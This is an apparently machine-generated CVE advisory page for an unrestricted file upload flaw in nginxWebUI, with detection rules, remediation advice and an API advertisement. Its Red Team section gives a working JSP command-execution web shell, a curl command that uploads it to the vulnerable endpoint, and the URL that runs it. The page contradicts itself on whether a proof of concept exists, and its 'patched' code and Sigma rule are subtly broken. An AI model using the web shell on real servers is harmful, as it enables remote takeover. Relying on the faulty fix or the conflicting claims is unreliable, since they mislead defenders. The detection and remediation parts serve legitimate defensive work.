☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-3736

CVE-2024-3736 Arbitrary File Upload in Cym1102
📅 PUBLISHED: 2024-04-13 14:00 UTC 🔄 UPDATED: 2026-09-23 20:35 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.92%
👁️
0.92% probability
22.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-3736 is a problematic vulnerability in cym1102 nginxWebUI up to version 3.9.9. The flaw resides in the file upload functionality at /adminPage/main/upload, allowing unrestricted file uploads. This can be exploited remotely without authentication, leading to potential arbitrary file uploads that may compromise the server. The vulnerability has been publicly disclosed, and proof-of-concept (PoC) code is available, increasing the risk of exploitation. The CVSS score is 4.3 (Medium), indicating a moderate threat level. No patch is currently available, and the vendor has not released an update.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone Java-based web application (nginxWebUI) used for managing Nginx configurations. The risk is primarily to the application itself and the underlying server.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows an attacker to upload arbitrary files, potentially leading to remote code execution if the uploaded file is executed (e.g., a web shell). However, the impact is limited to integrity, as the attacker can modify files but not directly access data or cause denial of service.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the /adminPage/main/upload endpoint of nginxWebUI. The application fails to properly validate the type, size, or content of uploaded files, allowing an attacker to upload any file type, including executable scripts (e.g., JSP, PHP, or shell scripts). If the uploaded file is stored in a web-accessible directory and the server is configured to execute such files, an attacker can achieve remote code execution.

The attack is straightforward: an attacker sends a POST request to /adminPage/main/upload with a malicious file (e.g., a JSP web shell) in the request body. The server accepts the file and stores it in a predictable location (e.g., /uploads/ or /tmp/). The attacker then accesses the uploaded file via a web browser, triggering execution.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current implementation in nginxWebUI <= 3.9.9. The upload handler likely lacks checks for file extension, MIME type, or content validation.

Vulnerable Code (Conceptual):

// Vulnerable: No validation
public String uploadFile(MultipartFile file) {
    String fileName = file.getOriginalFilename();
    File dest = new File(uploadDir + fileName);
    file.transferTo(dest);
    return "File uploaded successfully";
}

Patched Code (Hypothetical):

// Patched: Validate file extension and content
public String uploadFile(MultipartFile file) {
    String fileName = file.getOriginalFilename();
    String extension = fileName.substring(fileName.lastIndexOf("."));
    List<String> allowedExtensions = Arrays.asList("png", "jpg", "gif", "txt");
    if (!allowedExtensions.contains(extension)) {
        return "Invalid file type";
    }
    // Also validate MIME type and content
    File dest = new File(uploadDir + fileName);
    file.transferTo(dest);
    return "File uploaded successfully";
}

Exploitation & Lab Setup

Red Team (Exploitation)

  1. Setup: Deploy nginxWebUI version 3.9.9 on a test server (e.g., using Docker or a local Java environment).
  2. Craft Payload: Create a JSP web shell (e.g., cmd.jsp) that executes system commands.
    <%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
        out.println(line);
    }
    %>
    
  3. Upload: Send a POST request to /adminPage/main/upload with the malicious file.
    curl -X POST -F "file=@cmd.jsp" http://target.com/adminPage/main/upload
    
  4. Execute: Access the uploaded file at http://target.com/uploads/cmd.jsp?cmd=id.
  5. Verify: The output should show the server's user ID.

Blue Team (Detection & Response)

  1. Monitor Upload Endpoint: Log all POST requests to /adminPage/main/upload and inspect file names and sizes.
  2. File Integrity Monitoring: Use tools like Tripwire or AIDE to detect new or modified files in web-accessible directories.
  3. Web Application Firewall (WAF): Block uploads of executable file types (e.g., .jsp, .php, .exe) unless explicitly allowed.
  4. Honeypot: Deploy a fake upload directory to catch attackers.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /adminPage/main/upload with unusual file extensions (e.g., .jsp, .php, .war).
    • Outbound connections from the server to unknown IPs (if web shell is used for C2).
  • File IOCs:
    • Unexpected files in /uploads/ or /tmp/ directories with executable extensions.
    • Files with names like cmd.jsp, shell.php, or backdoor.jsp.
  • System IOCs:
    • Unusual processes (e.g., cmd.exe, /bin/sh) spawned by the Java application.
    • Modified system files or configuration changes.

Detection Engineering

YARA Rule

rule CVE_2024_3736_Unrestricted_Upload {
    meta:
        description = "Detects attempts to exploit CVE-2024-3736 via unrestricted file upload"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-3736"
    strings:
        $upload_path = "/adminPage/main/upload"
        $jsp_shell = "Runtime.getRuntime().exec"
        $php_shell = "system("
    condition:
        $upload_path and ($jsp_shell or $php_shell)
}

Sigma Rule

title: CVE-2024-3736 Unrestricted File Upload Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /adminPage/main/upload with suspicious file extensions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: "/adminPage/main/upload"
        cs-uri-query|contains: 
            - ".jsp"
            - ".php"
            - ".war"
            - ".exe"
    condition: selection
falsepositives:
    - Legitimate file uploads with allowed extensions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3736 Unrestricted File Upload Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/adminPage/main/upload"; http.client_body; content:".jsp"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable Upload Endpoint: If not required, block access to /adminPage/main/upload via web server configuration (e.g., Nginx or Apache).
  2. Input Validation: Implement server-side validation for file type, size, and content. Use a whitelist of allowed extensions.
  3. File Storage: Store uploaded files outside the web root and serve them via a script that enforces MIME type checks.
  4. Web Application Firewall (WAF): Deploy a WAF to block requests with suspicious file extensions.

Long-Term Fix:

  • Monitor the vendor for a patch. If none is released, consider migrating to an alternative solution or implementing a custom fix.

Valters IT Signature: This report was generated by Valters IT DevSecOps & CTI Expert System.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-3736/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.